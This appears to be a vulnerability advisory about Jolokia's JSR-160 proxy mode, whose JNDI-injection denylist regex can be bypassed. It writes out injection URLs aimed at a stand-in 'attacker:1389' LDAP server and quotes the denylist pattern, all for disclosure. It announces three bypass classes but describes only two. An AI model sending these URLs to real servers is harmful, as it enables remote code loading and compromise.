REDHAT-BUG-2526752: High severity Jolokia Jolokia vulnerability
Jolokia's JSR-160 proxy mode accepts a client-supplied JMX service URL (target.url in a POST body) and connects to it using JMXConnectorFactory. The fix for CVE-2018-1000130 (Jolokia 1.5.0, 2018) added a default denylist to block LDAP-based JNDI injection. That denylist consists of a single regular expression, which remains identical on both the 1.x and 2.x branches as of this writing:
service:jmx:rmi:///jndi/ldap:.
Matching is performed as a full-string regex match (Pattern.compile(pattern, CASEINSENSITIVE).matcher(url).matches()).
This pattern is incomplete. At least three classes of LDAP JNDI URLs pass through the filter:
Bypass 1 -- ldaps:// scheme: The pattern requires the literal substring ldap: immediately after /jndi/. The LDAP-over-TLS scheme ldaps: does not match.
Bypassing URL: service:jmx:rmi:///jndi/ldaps://attacker:1389/o=ref
Bypass 2 -- Non-empty JMX host in the service URL: The pattern is anchored to service:jmx:rmi:///jndi/... (three slashes, meaning the JMX host component is empty). A JMX service URL with a non-empty host such as service:jmx:rmi://localhost/jndi/ldap://... is a valid JMXServiceURL whose path is still /jndi/ldap://..., but the full string does not match the regex.
Bypassing URL: service:jmx:rmi://localhost/jndi/ldap://attacker:1389/o=ref Bypassing URL: service:jmx:rmi://127.0.0.1:0/jndi/ldap://attacker:1389/o=ref
All three bypass URLs parse into valid JMXServiceURL objects and, when passed to JMXConnectorFactory.newJMXConnector().connect(), trigger a JNDI lookup against the attacker-controlled endpoint.
Upstream Issue: https://github.com/jolokia/jolokia/issues/1049
Affected Software
Event History
Frequently Asked Questions
Which deployments are exposed to the denylist bypass?
Deployments using Jolokia's JSR-160 proxy mode are exposed when they accept a client-supplied target.url value in a POST body. The issue affects the LDAP filtering performed by the default denylist used for this mode.
What does an attacker need to provide to bypass the LDAP filter?
The attacker needs to supply a JMX service URL that is accepted by JMXConnectorFactory but does not fully match the denylist regular expression. Documented examples include an LDAPS URL such as service:jmx:rmi:///jndi/ldaps://attacker:1389/o=ref and a URL with a non-empty JMX host before /jndi/ldap://.
Why does a non-empty JMX host bypass the filter?
The denylist pattern only matches service:jmx:rmi:///jndi/ldap:.*, which requires an empty JMX host represented by three slashes. A valid service URL such as service:jmx:rmi://localhost/jndi/ldap://... has a different prefix, so it fails the full-string match even though its path still contains /jndi/ldap://.